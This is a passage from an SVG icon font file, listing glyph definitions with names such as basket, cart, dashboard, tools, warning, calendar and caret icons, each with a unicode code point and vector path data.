<glyph glyph-name="basket-light" unicode="&#xe8e6;" d="M125 475c0 0 0 0 0 0h131l68 203c8 27 34 47 63 47h268c30 0 56-20 63-48l68-202h130c1 0 1 0 1 0h62c12 0 21-9 21-21s-9-21-21-21h-44l-62-381c-13-46-53-77-100-77h-503c-47 0-88 31-101 79l-62 379h-44c-12 0-21 10-21 21s9 21 21 21h62z m25-42l60-370c7-27 32-46 60-46h503c28 0 52 18 60 43l60 373h-743z m592 42l-63 190c-3 11-13 18-24 18h-268c-11 0-20-7-23-17l-64-191h442z m-242-146c0 12 9 21 21 21s21-9 21-21v-208c0-12-9-21-21-21s-21 9-21 21v208z m187-211c-2-11-12-19-24-18-11 2-19 13-17 24l29 206c2 12 13 20 24 18 11-2 19-12 18-24l-30-206z m-292 6c2-11-6-22-17-24-11-2-22 6-24 18l-29 206c-2 11 6 22 18 24 11 2 22-6 23-18l29-206z" horiz-adv-x="1000" />

<glyph glyph-name="basket-medium" unicode="&#xe8e7;" d="M104 485c0 0 1 0 1 0h103l71 197c9 31 41 53 76 53h291c35 0 67-22 77-55l70-195h103c0 0 1 0 1 0h61c17 0 32-14 32-31s-15-31-32-31h-35l-61-374c-14-50-59-84-110-84h-503c-51 0-97 34-111 87l-60 371h-36c-17 0-32 14-32 31s15 31 32 31h62z m37-62l58-358c6-22 26-38 50-38h503c23 0 44 16 49 35l59 361h-719z m585 62l-63 176c-3 7-9 12-18 12h-290c-9 0-15-5-17-10l-64-178h452z m-257-156c0 17 14 31 31 31s31-14 31-31v-208c0-17-14-31-31-31s-31 14-31 31v208z m208-213c-3-17-19-28-36-26-17 2-28 18-26 35l29 206c3 17 19 29 36 27s28-18 26-35l-29-207z m-292 9c3-17-10-32-27-35-17-2-33 10-35 27l-30 206c-2 17 10 33 27 35 17 3 33-9 35-26l30-207z" horiz-adv-x="1000" />

<glyph glyph-name="basket-solid" unicode="&#xe8e8;" d="M128 433h-65c-12 0-21 10-21 21s9 21 21 21h193l68 203c8 27 34 47 63 47h268c30 0 56-20 63-48l68-202h193c12 0 21-9 21-21s-9-21-21-21h-66l-60-376c-10-36-43-61-81-61h-502c-37 0-70 25-80 61l-62 376z m614 42l-63 190c-3 11-13 18-24 18h-268c-11 0-20-7-23-17l-64-191h442z m-242-146v-208c0-12 9-21 21-21s21 9 21 21v208c0 12-9 21-21 21s-21-9-21-21z m187-211l30 206c1 11-7 22-18 24-11 2-22-6-24-18l-29-206c-2-11 6-22 17-24 12-1 23 7 24 18z m-292 6l-29 206c-2 11-12 19-24 18-11-2-19-13-17-24l29-206c2-12 12-20 24-18 11 2 19 13 17 24z" horiz-adv-x="1000" />

<glyph glyph-name="cart-light" unicode="&#xe8e9;" d="M708-4c0-35 28-63 63-63 34 0 62 28 62 63 0 34-28 62-62 62-35 0-63-28-63-62z m-520 687l750 0c12 0 22-11 20-23l-32-260c-7-52-51-92-104-92l-559 0 8-41c10-49 53-84 102-84l481 0c12 0 21-9 21-20 0-12-9-21-21-21l-481 0c-69 0-129 49-143 117l-101 508-108 0c-12 0-21 9-21 21 0 11 9 20 21 20l125 0c10 0 18-7 20-16l22-109z m8-41l59-292 567 0c32 0 58 24 62 55l30 237-718 0z m471-646c0 57 46 104 104 104 57 0 104-47 104-104 0-58-47-104-104-104-58 0-104 46-104 104z m-417 0c0 57 47 104 104 104 58 0 104-47 104-104 0-58-46-104-104-104-57 0-104 46-104 104z m42 0c0-35 28-63 62-63 35 0 63 28 63 63 0 34-28 62-63 62-34 0-62-28-62-62z" horiz-adv-x="1000" />

<glyph glyph-name="cart-medium" unicode="&#xe8ea;" d="M740-4c0-29 23-52 52-52s52 23 52 52-24 52-52 52-52-23-52-52z m-523 698h741c19 0 34-17 31-35l-32-261c-7-57-56-100-114-100h-546l6-29c8-44 47-75 92-75h480c17 0 31-14 31-31s-14-32-31-32h-481c-74 0-139 53-153 126l-100 499h-99c-17 0-32 14-32 32s15 31 32 31h125c15 0 28-11 31-25l19-100z m13-63l54-271h559c26 0 48 20 52 46l28 225h-693z m447-635c0 63 51 114 115 114s114-51 114-114-51-115-114-115-115 51-115 115z m-417 0c0 63 52 114 115 114s115-51 115-114-52-115-115-115-115 51-115 115z m63 0c0-29 23-52 52-52s52 23 52 52-23 52-52 52-52-23-52-52z" horiz-adv-x="1000" />

<glyph glyph-name="cart-solid" unicode="&#xe8eb;" d="M188 683h750c5 0 11-2 15-7 4-4 6-10 5-16l-32-260c-7-52-51-92-103-92h-560l8-41c10-48 53-84 102-84h481c12 0 21-9 21-20s-9-21-21-21h-481c-69 0-129 49-143 117l-101 508h-108c-12 0-21 9-21 21s9 20 21 20h125c10 0 18-7 20-16l22-109z m583-583c57 0 104-47 104-104s-47-104-104-104-104 46-104 104 46 104 104 104z m-417 0c58 0 104-47 104-104s-46-104-104-104-104 46-104 104 47 104 104 104z" horiz-adv-x="1000" />

<glyph glyph-name="exchange" unicode="&#xe8ec;" d="M392 600v-345c0-17-19-30-42-30s-42 13-42 30v345h-104c-6 0-10 2-14 5-5 4-7 8-7 13 0 5 2 10 7 13l145 130c5 4 10 5 15 5s10-1 15-5l145-130c5-3 7-8 7-13 0-5-2-9-7-13-4-3-9-5-14-5h-104z m208-500v345c0 17 19 30 42 30s41-13 41-30v-345h105c5 0 10-2 14-5s6-8 6-13-2-9-6-13l-146-130c-4-4-9-5-14-5s-11 1-15 5l-146 130c-4 4-6 8-6 13s2 9 6 13 9 5 15 5h104z" horiz-adv-x="1000" />

<glyph glyph-name="preview-thin" unicode="&#xe8ed;" d="M500 663c117 0 233-50 338-134 79-62 141-146 141-179s-62-112-141-179c-105-83-221-133-338-133s-233 50-337 133c-80 67-142 146-142 179s62 113 142 179c104 84 220 134 337 134z m192-92l0 0c37-46 58-100 58-158 0-138-112-250-250-250s-250 112-250 250c0 62 21 116 58 158-41-21-79-46-120-79-71-59-125-129-125-146s58-88 125-146c95-79 204-125 312-125s217 46 313 125c70 58 125 129 125 146s-59 87-125 146c-42 33-80 62-121 79z m-192 50l-8 0c-113-4-200-96-200-208 0-117 91-209 208-209s208 92 208 209c0 112-87 204-200 208l-8 0z m0-108c54 0 100-46 100-100 0-55-46-100-100-100s-100 45-100 100c0 4 0 4 0 8 8-4 17-4 25-4 42 0 75 33 75 75 4 8 4 12 0 21l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="device-laptop" unicode="&#xe8ee;" d="M797 646c41 0 75-34 75-75v-390c0-13-3-25-9-35h82c7 0 13-6 13-14v-31c0-26-20-46-45-46h-825c-26 0-46 20-46 46v31c0 8 6 14 13 14h77c-5 10-9 22-9 35v390c0 41 34 75 75 75h599z m-8-83h-582v-374h582v374z" horiz-adv-x="1000" />

<glyph glyph-name="collapse" unicode="&#xe8ef;" d="M826-108h-652c-73 0-132 59-132 132v652c0 73 59 132 132 132h652c73 0 132-59 132-132v-652c0-73-59-132-132-132z m-652 823c-21 0-39-17-39-39v-652c0-21 18-39 39-39h652c21 0 39 18 39 39v652c0 22-18 39-39 39h-652z m76-457c0 8 3 16 9 22l219 227c6 6 13 10 22 10s16-4 22-10l219-227c6-6 9-14 9-22s-3-17-9-23c-6-7-13-10-22-10h-438c-8 0-16 3-22 10-6 6-9 14-9 23z" horiz-adv-x="1000" />

<glyph glyph-name="expand" unicode="&#xe8f0;" d="M865 715v-730h-730v730h730z m8 93h-746c-47 0-85-38-85-85v-746c0-47 38-85 85-85h746c47 0 85 38 85 85v746c0 47-38 85-85 85z m-623-365c0-9 3-17 9-23l219-227c6-6 13-10 22-10s16 4 22 10l219 227c6 6 9 14 9 23s-3 16-9 22-13 10-22 10h-438c-8 0-16-3-22-10s-9-14-9-22z" horiz-adv-x="1000" />

<glyph glyph-name="navigator" unicode="&#xe8f1;" d="M936 613l-418 192c-11 5-24 5-35 0l-419-192c-14-7-22-20-22-34s8-27 22-33l418-192c6-3 12-4 18-4s12 1 18 4l418 192c14 6 22 19 22 33s-8 27-22 34z m-46-205c23 11 52 1 63-23 12-23 2-52-22-63l-411-195c-12-7-28-7-41 0l-410 195c-24 11-34 40-23 63s40 35 64 23l390-185 390 185z m0-229c23 11 52 1 63-23s2-52-22-63l-411-196c-12-6-28-6-41 0l-410 196c-24 11-34 40-23 63s40 34 64 23l390-186 390 186z" horiz-adv-x="1000" />

<glyph glyph-name="plug" unicode="&#xe8f2;" d="M404 625l179 183c30 30 75 30 105 0l0 0c29-29 29-75 0-104l-180-179 125-125 180 179c29 29 75 29 104 0l0 0c29-29 29-75 0-104l-179-179 41-42c9-8 9-21 0-29l-75-83c-8-9-21-9-29 0l-25 25-117-117c-79-79-200-83-283-17l-121-121c-8-8-21-8-29 0s-8 21 0 30l121 121-46 45-121-121c-8-8-21-8-29 0-8 9-8 21 0 30l121 125c-67 83-63 204 17 283l116 117-25 21c-4 8-4 20 0 29l79 75c9 8 21 8 30 0l41-42z m75-75l179 179c13 13 13 34 0 46l0 0c-12 13-33 13-45 0l-180-179 46-46z m229-229l180 179c12 13 12 33 0 46l0 0c-13 12-34 12-46 0l-179-179 45-46z m-362 304l-46-46 25-25c8-8 8-21 0-29l-133-133c-67-67-67-175 0-242l75-75c66-67 175-67 241 0l134 133c8 9 21 9 29 0l25-25 46 46-396 396z" horiz-adv-x="1000" />

<glyph glyph-name="dashboard" unicode="&#xe8f3;" d="M500 558c25 0 42-16 42-41s-17-42-42-42-42 17-42 42 17 41 42 41z m208-83c25 0 42-17 42-42s-17-41-42-41-41 16-41 41 16 42 41 42z m-416 0c25 0 41-17 41-42s-16-41-41-41-42 16-42 41 17 42 42 42z m-84-167c25 0 42-16 42-41s-17-42-42-42-41 17-41 42 16 41 41 41z m584 0c25 0 41-16 41-41s-16-42-41-42-42 17-42 42 17 41 42 41z m-217-154c-4 34-21 63-50 79-29 17-62 17-92 5l-12 4 208 166-41-262-13 8z m-92-100c-16 0-37 4-50 13-25 12-41 37-50 62-8 25-4 54 9 79s37 42 62 50 54 5 79-8c25-12 42-37 50-62 9-25 5-55-8-80s-37-41-62-50c-13 0-21-4-30-4z m0 167c-4 0-12 0-16-4-17-4-29-17-38-29-8-13-12-34-4-46 4-17 17-29 29-38 13-8 34-12 46-8 17 4 29 17 38 29 8 13 12 33 4 46-4 17-17 29-29 37v0c-9 13-17 13-30 13z m409-267h-784l-4 8c-66 88-104 192-104 305 0 275 225 500 500 500 275 0 500-225 500-500 0-113-37-217-104-305l-4-8z m-763 42h742c58 79 87 171 87 271 0 254-204 458-458 458s-458-204-458-458c0-100 29-192 87-271z" horiz-adv-x="1000" />

<glyph glyph-name="typography" unicode="&#xe8f4;" d="M146 504v-583c0-4 4-13 12-13h663v867c0 4-4 13-13 13h-379v-230c0-29-25-54-54-54h-229z m246 284l0 0-238-242h225c4 0 13 4 13 12v230z m-234-921c-29 0-54 25-54 54v625c0 4 4 12 4 12l255 263c4 4 8 8 16 8h434c29 0 54-25 54-54v-888c0-12-9-20-21-20h-271-417z m255 316l-59 142-58-142h117z m45-125l-37 92h-138l-37-92h-42l129 330h46l129-330h-50z m230 30c-25-25-50-38-75-38-21 0-38 8-50 21s-21 29-21 46c0 25 12 46 33 62 21 13 54 21 96 21h12v29c0 29-12 42-41 42-25 0-50-8-75-21v38c29 12 58 16 83 16 29 0 46-4 58-16 13-13 21-34 21-59v-108c0-25 9-38 25-38 0 0 4 0 9 0l4-25c-9-4-21-8-34-8-29 4-41 17-45 38z m-9 25v62l-16 0c-25 0-42-4-59-12-12-9-21-21-21-38 0-12 5-21 13-25 8-8 17-12 29-12 17 0 33 8 54 25z" horiz-adv-x="1000" />

<glyph glyph-name="info-circle-o" unicode="&#xe8f5;" d="M479 483c0 34 29 59 63 59 33 0 62-25 62-59 0-33-29-58-62-58-34 0-63 25-63 58z m125-320c0-5-4-9-8-13-21-21-50-29-83-33-13 0-30 0-42 0-38 8-58 33-54 66 8 38 16 75 21 113 4 12 4 21 8 33 0 4 0 9 0 13 0 8-8 12-17 12-4 0-8 0-12 0-4 0-13 4-17 4-8 5-8 17 4 17 4 0 9 4 17 4 21 0 42 0 62 0h59c12 0 21-8 25-16 0-13-4-25-4-38-9-37-17-71-21-104-4-13-4-25-9-38 0-4 0-8 0-12 5-17 13-21 30-17 4 0 8 4 16 4 4 0 9 5 17 9 4 8 8 4 8-4z m-104-313c-275 0-500 225-500 500s225 500 500 500 500-225 500-500-225-500-500-500z m0 42c254 0 458 204 458 458s-204 458-458 458-458-204-458-458 204-458 458-458z" horiz-adv-x="1000" />

<glyph glyph-name="integration" unicode="&#xe8f6;" d="M275 679l417-241c8-5 12-17 8-30s-17-12-29-8l-417 242c-33-42-91-50-141-25-50 33-71 100-38 154s100 71 154 42c46-30 63-84 46-134z m475-412l-417-242c-8-4-20-4-29 8-4 9-4 21 9 30l416 241c-16 50 4 104 50 134 54 29 121 12 154-42 30-54 13-121-41-154-46-25-104-13-142 25z m-617-184v459c0 12 9 21 21 21s21-9 21-21v-459c50-8 92-54 92-108 0-63-50-113-113-113s-112 50-112 113c0 54 37 100 91 108z m-50-108c0-38 30-71 71-71s71 29 71 71-29 71-71 71-71-33-71-71z m788 304c33 21 46 63 25 96-21 33-63 46-96 25-33-21-46-62-25-96 21-33 63-46 96-25z m-733 375c33-21 75-8 95 25s9 75-25 96-79 8-100-25-4-75 30-96z" horiz-adv-x="1000" />

<glyph glyph-name="plus-circle-o" unicode="&#xe8f7;" d="M500-113c-254 0-462 209-462 463s208 463 462 463 463-209 463-463-209-463-463-463z m0 92c204 0 371 167 371 371s-167 371-371 371-371-167-371-371 167-371 371-371z m-46 417v175c0 25 21 46 46 46 25 0 46-21 46-46v-175h175c25 0 46-21 46-46s-21-46-46-46h-175v-175c0-25-21-46-46-46-25 0-46 21-46 46v175h-175c-25 0-46 21-46 46s21 46 46 46h175z" horiz-adv-x="1000" />

<glyph glyph-name="rating" unicode="&#xe8f8;" d="M325 446l83 12 75 150c9 17 30 17 38 0l75-150 79-12 71 125c8 17 29 12 37 0l50-125 130-25c16-4 20-25 8-38l-96-87 17-133c0-17-17-30-34-21l-112 66-71-33c0 0-4 0-4 0l12-67c5-16-16-29-29-20l-154 83-150-79c-17-9-33 4-29 21l12 66c-4 0-4 0-8 0l-71 34-112-67c-17-8-34 4-34 21l17 129-100 87c-12 13-8 34 8 38l130 25 54 121c8 16 29 16 37 0l71-121z m-46-8l-41 75-42-92c-4-8-8-13-17-13l-96-20 75-67c5-4 9-13 9-17l-13-100 88 50c4 4 12 4 21 0l79-37 8 58-121 117c-12 12-4 33 13 37l37 9z m438 4l41-4c17-5 25-25 13-38l-121-117 8-58 75 33c5 5 13 5 21 0l88-50-9 96c0 9 0 13 9 17l75 67-100 20c-9 0-13 5-17 13l-42 92-41-71z m-350-292l121 63c4 4 12 4 20 0l121-63-25 138c0 8 0 12 4 16l100 96-137 21c-8 0-13 4-17 12l-62 125-63-125c-4-4-8-8-16-12l-138-21 100-96c4-4 8-12 4-16l-12-138z" horiz-adv-x="1000" />

<glyph glyph-name="review" unicode="&#xe8f9;" d="M254 113c-58 0-108 50-108 108v292c0 58 46 108 108 108h492c58 0 108-50 108-108v-292c0-58-46-108-108-108h-283l-200-113c-17-8-38 8-30 25l42 88h-21z m192 37c4 0 8 4 8 4h292c37 0 67 29 67 67v292c0 37-30 66-67 66h-492c-37 0-66-29-66-66v-292c0-38 29-67 66-67h59c16 0 25-16 16-29l-29-58 146 83z m46 154c4 4 12 4 21 0l50-25-9 54c0 9 0 13 4 17l38 38-54 8c-9 0-13 4-17 12l-25 50-25-50c-4-4-8-8-17-12l-54-8 38-38c4-4 8-12 4-17l-8-54 54 25z m-67-83c-17-8-33 4-29 21l12 83-62 58c-13 13-4 34 12 38l84 12 37 75c9 17 29 17 38 0l37-75 84-12c16-4 25-25 12-38l-62-58 12-83c4-17-17-29-29-21l-75 42-71-42z m458 217c-8 8-8 20 0 29 9 8 21 8 30 0l75-75c8-9 8-21 0-29l-75-75c-9-9-21-9-30 0-8 8-8 20 0 29l59 58-59 63z m-762 0l-58-59 58-58c8-8 8-21 0-29-8-9-21-9-29 0l-75 75c-9 8-9 21 0 29l75 75c8 8 21 8 29 0 8-8 8-25 0-33z" horiz-adv-x="1000" />

<glyph glyph-name="tools" unicode="&#xe8fa;" d="M246-79c-8 0-17 0-25 0 0 0 0 0 0 0l-79 12 87 92-29 33-92-91-12 79c-4 17-4 33 0 50 4 29 21 58 42 79 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l0 0 0 0c25 25 54 38 83 42 17 8 29 8 46 4h0l137 137-91 96-63-66-21 20-16-16c12-17 12-42-5-59l-29-25c-16-16-46-16-62 0l-92 92c-8 8-12 21-12 29s4 21 12 29l29 30c9 8 21 12 29 12 0 0 0 0 0 0 13 0 21-4 30-12l4-5 16 17-29 33 84 84c0 0 0 0 0 0 0 0 4 4 4 4 0 0 0 0 0 0 54 50 100 83 141 104 50 29 100 42 146 42 0 0 0 0 0 0 9 0 17 0 25 0 9 0 17 0 25-4l75-17-137-138 91-91 88 83c-4 17-4 29 0 46 4 29 17 58 42 83 0 0 0 0 0 0l0 0 0 0c0 0 0 0 0 0 0 0 0 0 0 0l0 0c0 0 0 0 0 0 0 0 0 0 0 0 20 21 45 34 75 42 16 4 37 4 58 0l79-13-92-87 30-33 91 87 13-79c0 0 0 0 0 0 4-17 4-33 0-50-4-29-17-54-38-75 0 0 0 0-4-4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-37-38-87-50-137-42l-84-83 284-284c33-33 33-87 0-121l-30-29c-16-16-37-25-62-25 0 0 0 0 0 0-25 0-46 9-63 25l-283 284-133-134c4-20 4-41 0-62-4-29-21-54-42-75l0 0c0 0 0 0 0 0 0 0 0 0 0 0l0 0 0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-21-21-50-34-79-42-8-8-17-8-25-8z m-13 41c9 0 17 0 25 0 21 5 46 13 63 30l0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 12 12 21 29 29 46 4 16 4 37 0 54l0 0c0 4 0 4 0 8l-4 13c-4 12-13 20-17 29 0 4-4 4-4 4 0 0 0 0 0 0-4 4-8 8-12 8-42 34-105 29-142-8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l0 0c-17-17-25-38-29-63 0-12 0-20 0-33l25 38c8 8 21 12 33 12 0 0 0 0 0 0 13 0 21-4 29-12l29-30c9-8 13-16 13-29s-4-21-13-29l-33-33c4-5 4-5 8-5z m321 305l284-284c16-16 45-16 62 0l29 30c17 16 17 45 0 62l-283 283 0 0 0 0-92-91z m-191-100c4-9 8-13 12-21h0l275 275 0 0 71 71c-13 8-21 16-33 25-13 12-21 25-30 41l-350-350c9-4 13-8 21-12 9-4 13-8 17-17 0 0 0 0 0 0 0 0 0 0 0 0l0 0c8-4 12-8 17-12z m-275 296l-34-30 92-95 33 29-12 12-79 84z m254 20l91-91 92 91-92 92-91-92z m-175 50l83-83 271 271c-8 0-17 4-29 4-4 0-9 0-13 0-33 0-79-8-133-37-42-21-83-55-125-96 0 0-4-4-4-4 0 0 0 0 0 0l-50-55z m550 13c41-42 112-42 154 0l0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 17 25 37 29 58 0 9 0 21 0 29 0 0 0 5 0 5v0l-33-34c-17-16-46-16-59 0l-29 38c-8 8-12 21-12 29 0 12 4 21 12 29l34 33c-13 0-25 0-38 0-21-4-42-12-54-29 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-46-46-46-116-4-158l0 0 0 0z" horiz-adv-x="1000" />

<glyph glyph-name="loading" unicode="&#xe8fb;" d="M500-125v117c196 0 358 162 358 358s-162 358-358 358-358-162-358-358h-117c0 263 213 475 475 475s475-212 475-475-212-475-475-475z" horiz-adv-x="1000" />

<glyph glyph-name="sitemap" unicode="&#xe8fc;" d="M479 417v154h-75c-12 0-21 8-21 21v191c0 13 9 21 21 21h192c12 0 21-8 21-21v-195c0-13-9-21-21-21h-75v-154h267c37 0 70-30 70-71v-175h75c13 0 21-9 21-21v-196c0-13-8-21-21-21h-191c-13 0-21 8-21 21v196c0 12 8 21 21 21h75v175c0 16-13 29-29 29h-267v-200h75c12 0 21-8 21-21v-196c0-12-9-21-21-21h-192c-12 0-21 9-21 21v196c0 13 9 21 21 21h75v200h-266c-17 0-30-13-30-29v-175h75c13 0 21-9 21-21v-196c0-13-8-21-21-21h-191c-13 0-21 8-21 21v196c0 12 8 21 21 21h75v175c0 37 29 71 71 71h266z m-54 346v-155h150v155h-150z m-337-784h150v154h-150v-154z m675 154v-154h150v154h-150z m-338-154h150v154h-150v-154z" horiz-adv-x="1000" />

<glyph glyph-name="click" unicode="&#xe8fd;" d="M326 458v178c0 66 53 119 118 119s118-53 118-119v-178c57 39 94 104 94 178 0 119-95 214-212 214s-213-96-213-214c0-75 38-140 95-178z m396-165c-53 12-184 48-198 62s-9 103-9 116c0 54 0 109 0 164 0 40-32 72-71 72s-71-32-71-72c0-187 0-328 0-422 0-29-3-70-14-87s-28-23-54 1-32 34-62 42-65-19-73-35-10-30 0-53c15-31 52-73 66-87 27-27 68-68 122-123 13-13 31-21 50-21h321c36 0 63 26 68 61l36 251c0 3 0 6 0 9 0 30-13 99-111 122z" horiz-adv-x="1000" />

<glyph glyph-name="clock" unicode="&#xe8fe;" d="M500-67c-230 0-417 187-417 417s187 417 417 417 417-187 417-417-187-417-417-417z m198 310l-160 105v192c0 20-17 38-38 38s-38-18-38-38v-212c0-13 6-25 17-32l177-117c17-11 41-6 52 11 12 18 7 41-10 53z" horiz-adv-x="1000" />

<glyph glyph-name="library-open" unicode="&#xe8ff;" d="M958 300c0-8-4-21-16-33l-163-192c-12-17-33-29-58-42s-50-16-71-16h-529c-13 0-21 4-29 8s-13 13-13 21c0 8 4 21 17 33l162 192c13 17 34 29 59 42s50 16 71 16h529c12 0 21-4 29-8s12-8 12-21z m-166 171v-79h-409c-29 0-62-9-95-25s-59-34-80-59l-162-191-4-4c0 0 0 4 0 4s0 4 0 4v475c0 29 12 54 33 79s46 33 79 33h159c29 0 54-12 79-33s25-50 25-79v-17h266c30 0 55-12 80-33s29-46 29-75z" horiz-adv-x="1000" />

<glyph glyph-name="warning" unicode="&#xe900;" d="M538 663c-5 8-9 12-17 16-21 9-46 4-58-16l-371-646c-4-9-4-13-4-21 0-25 16-42 41-42h742c8 0 12 0 21 4 21 13 25 38 16 59l-370 646z m33 20l371-645c25-42 8-92-29-113-13-8-25-13-42-13h-742c-46 0-83 38-83 84 0 12 4 29 12 42l371 645c25 42 75 55 113 30 12-9 25-17 29-30z m-121-450l-8 142c0 29-4 46-4 58 0 21 4 34 16 46 13 13 25 17 42 17 25 0 37-13 46-25 8-13 8-29 8-54 0-13 0-25-4-42l-13-146c0-16-4-33-8-41-8-13-17-21-33-21-17 0-25 8-34 21-4 12-8 25-8 45z m42-112c16 0 29-4 41-17 13-12 17-25 17-37 0-17-4-29-17-42-12-8-25-12-37-12-17 0-29 4-38 12-12 8-16 25-16 42 0 16 4 29 16 37 5 13 21 17 34 17z" horiz-adv-x="1000" />

<glyph glyph-name="flow" unicode="&#xe901;" d="M542 392h237c42 0 75-34 75-75v-125h113c21 0 33-17 33-34v-233c0-21-17-33-33-33h-304c-21 0-34 16-34 33v233c0 21 17 34 34 34h108v116h-542v-116h109c20 0 33-17 33-34v-233c4-17-13-33-33-33h-305c-16 0-33 16-33 33v233c0 21 17 34 33 34h113v125c0 41 33 75 75 75h237v116h-112c-21 0-33 17-33 34v233c0 17 16 33 33 33h304c21 0 33-16 33-33v-233c0-21-16-34-33-34h-108v-116z" horiz-adv-x="1000" />

<glyph glyph-name="cursor-move" unicode="&#xe902;" d="M208 296v-71c0-4 0-8-4-12-4-5-8-5-12-5-4 0-9 0-13 5l-129 137c-8 0-8 4-8 13s0 8 4 12l129 138c4 4 8 4 17 4 4 0 8 0 12-4 4-5 4-9 4-17v-75h221v221h-75c-8 0-12 0-16 4-5 4-5 8-5 12 0 5 0 9 5 13l137 129c4 8 8 8 17 8s8 0 12-4l138-129c4-4 4-8 4-12 0-5 0-9-4-13-4-8-9-8-17-8h-75v-221h242v75c0 4 0 8 4 12s8 9 12 9 9 0 13-4l129-138c4-4 4-8 4-12s0-9-4-13l-129-137c-4-5-8-5-13-5s-8 0-12 5c-4 0-4 4-4 12v75h-238v-242h71c4 0 8 0 13-4 4-4 4-8 4-12s0-9-4-13l-138-129c0-8-4-8-8-8s-9 0-13 4l-137 129c-9 4-9 8-9 17s0 8 5 12 8 4 16 4h75v238h-221z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-circle-left" unicode="&#xe903;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z m-354-229l-175-175c-17-17-17-46 0-62 16-17 41-17 58 0l204 208c17 17 17 46 0 62l-204 205c-17 16-46 16-58 0-17-17-17-46 0-63l175-175z" horiz-adv-x="1000" />

<glyph glyph-name="flash" unicode="&#xe904;" d="M150 321l188 446c4 12 16 21 29 21l304-5c17 0 33-16 33-33 0-4 0-8-4-12l-83-192 216 0c17 0 34-17 34-33 0-9-4-17-9-21l-537-571c-13-13-33-13-46 0-8 8-12 21-8 33l91 321-175 0c-16 0-33 17-33 33 0 5 0 9 0 13z m113 42l212 0-62-217 295 317-220 0 100 237-184 0-141-337z" horiz-adv-x="1000" />

<glyph glyph-name="redo" unicode="&#xe905;" d="M679 592c-4 0-8 4-8 4-138 79-317 33-396-104s-33-313 104-392 313-33 396 104c17 29 50 38 79 21 29-17 38-50 21-79-112-192-358-259-550-146s-262 358-150 554 358 259 550 146c17-8 25-17 38-25l4 4 58 59c17 16 46 4 46-21l0-196c0-17-13-29-29-29l-196 0c-25 0-38 29-21 46l54 54z" horiz-adv-x="1000" />

<glyph glyph-name="ban" unicode="&#xe906;" d="M208 550c-41-58-62-125-62-200 0-192 154-350 350-350 79 0 150 25 212 71 0 0-4 4-4 4l-487 467c-4 4-9 4-9 8z m75 75c5 0 5-4 9-8l483-467c0 0 4-4 4-4 42 58 63 125 63 200 0 192-154 350-350 350-79 4-150-25-209-71z m209-733c-254 0-459 204-459 458s205 458 459 458 458-204 458-458-204-458-458-458z" horiz-adv-x="1000" />

<glyph glyph-name="barcode" unicode="&#xe907;" d="M125 725v-750h-42v750h42z m42 0v-750h-42v750h42z m41 0v-750h-37v750h37z m42 0v-750h-33v750h33z m42 0v-750h-34v750h34z m41 0v-750h-29v750h29z m42 0v-750h-29v750h29z m42 0v-750h-25v750h25z m41 0v-750h-25v750h25z m42 0v-750h-21v750h21z m46 0v-750h-21v750h21z m42 0v-750h-17v750h17z m41 0v-750h-16v750h16z m42 0v-750h-13v750h13z m42 0v-750h-13v750h13z m41 0v-750h-8v750h8z m42 0v-750h-8v750h8z m42 0v-750h-5v750h5z m41 0v-750h-4v750h4z m42 0v-750h-4v750h4z" horiz-adv-x="1000" />

<glyph glyph-name="calendar" unicode="&#xe908;" d="M917 604v-637c0-50-42-88-88-88h-658c-46 4-88 42-88 92v633c0 50 42 88 88 88h87v96c5 12 13 20 25 20h75c13 0 21-8 21-20v-96h238v96c0 12 8 20 21 20h75c12 0 20-8 20-20v-96h88c54 0 96-38 96-88z m-88-625v542h-658v-538c0-4 4-12 12-12h634c4 0 12 4 12 8z m-471 367h-75c-12 0-20 8-20 21v75c0 12 8 21 20 21h75c13 0 21-9 21-21v-71c0-13-8-25-21-25z m200 21c0-13-8-21-20-21h-75c-13 0-21 8-21 21v75c0 12 8 21 21 21h75c12 0 20-9 20-21v-75z m180 0c0-13-9-21-21-21h-75c-13 0-21 8-21 21v75c0 12 8 21 21 21h75c12 0 21-9 21-21v-75z m-180-159c0-12-8-20-20-20h-75c-13 0-21 8-21 20v71c0 13 8 21 21 21h75c12 0 20-8 20-21v-71z m-179 0c0-12-8-20-21-20h-75c-12 0-20 8-20 20v71c0 13 8 21 20 21h75c13 0 21-8 21-21v-71z m359 0c0-12-9-20-21-20h-75c-13 0-21 8-21 20v71c0 13 8 21 21 21h75c12 0 21-8 21-21v-71z m-180-158c0-12-8-21-20-21h-75c-13 0-21 9-21 21v71c0 12 8 21 21 21h75c12 0 20-9 20-21v-71z m-179 0c0-12-8-21-21-21h-75c-12 0-20 9-20 21v71c0 12 8 21 20 21h75c13 0 21-9 21-21v-71z m359 0c0-12-9-21-21-21h-75c-13 0-21 9-21 21v71c0 12 8 21 21 21h75c12 0 21-9 21-21v-71z" horiz-adv-x="1000" />

<glyph glyph-name="caret-left" unicode="&#xe909;" d="M592 604c8 9 12 9 25 9 8 0 16-5 25-9 8-8 8-12 8-25v-458c0-8-4-17-8-25-9-8-13-8-25-8-9 0-17 4-25 8l-229 229c-9 8-9 13-9 25 0 8 4 17 9 25l229 229z" horiz-adv-x="1000" />

<glyph glyph-name="caret-right" unicode="&#xe90a;" d="M408 604c-8 4-16 9-25 9-8 0-16-5-20-9-9-8-13-16-13-25v-458c0-8 4-17 8-25 9-8 13-8 25-8 9 0 17 4 25 8l230 229c8 8 8 13 8 25 0 8-4 17-8 25l-230 229z" horiz-adv-x="1000" />

